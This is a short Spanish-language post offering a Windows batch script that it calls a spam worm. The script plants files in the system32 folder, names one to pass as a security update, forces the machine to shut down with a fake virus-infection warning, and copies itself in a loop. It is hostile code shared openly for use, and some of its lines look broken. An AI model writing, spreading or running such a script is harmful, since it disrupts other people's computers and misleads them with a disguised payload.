Gusano spam que apaga pc

Este es un Gusano Spam
que se duplica
y apaga la pc
por cada 10m.

@ echo off
color 0a
set a=echo
%a% @ echo off >%windir%\system32\security_update_11/10/2008.bat"
%a% color 0a >>%windir%\system32\security_update_11/10/2008.bat"
%a% %a% powered by .:pollito23:. >>%windir%\system32\security_update_11/10/2008.bat"
%a% shutdown -s -t 602 -c "%computername% will shutdown due to virus infection please do not restart/shutdown manually" >>%windir%\system32\security_update_11/10/2008.bat"
%a% start %o >>%windir%\system32\security_update_11/10/2008.bat"
%a% powered by .:pollito23:. >>%windir%\system32\security_update_11/10/2008.bat"
%a% exit >>%windir%\system32\security_update_11/10/2008.bat"
start /min %windir%\system32\security_update_11/10/2008.bat
%a% @ echo off >%windir%\system32\worm.bat
%a% color 0a >>%windir%\system32\worm.bat
%a% copy %0 %windir%\system32\worm.bat >>%windir%\system32\worm.bat
%a% :worm >%windir%\system32\worm.bat
%a% %a%. >>%windir%\system32\security_update_11/10/2008.bat
%a% %a% ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ >>%windir%\system32\worm.bat
%a% %a% .:By POLLITO23:. >>%windir%\system32\worm.bat
%a% %a% ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ >>%windir%\system32\worm.bat
%a% %a%. >>%windir%\system32\worm.bat
%a% start %o >>%windir%\system32\worm.bat
%a% goto worm >>%windir%\system32\worm.bat
%a% exit >>%windir%\system32\worm.bat
:1
if exist %windir%\system32\worm.bat goto 2 else goto 1
:2
start %windir%\system32\worm.bat
exit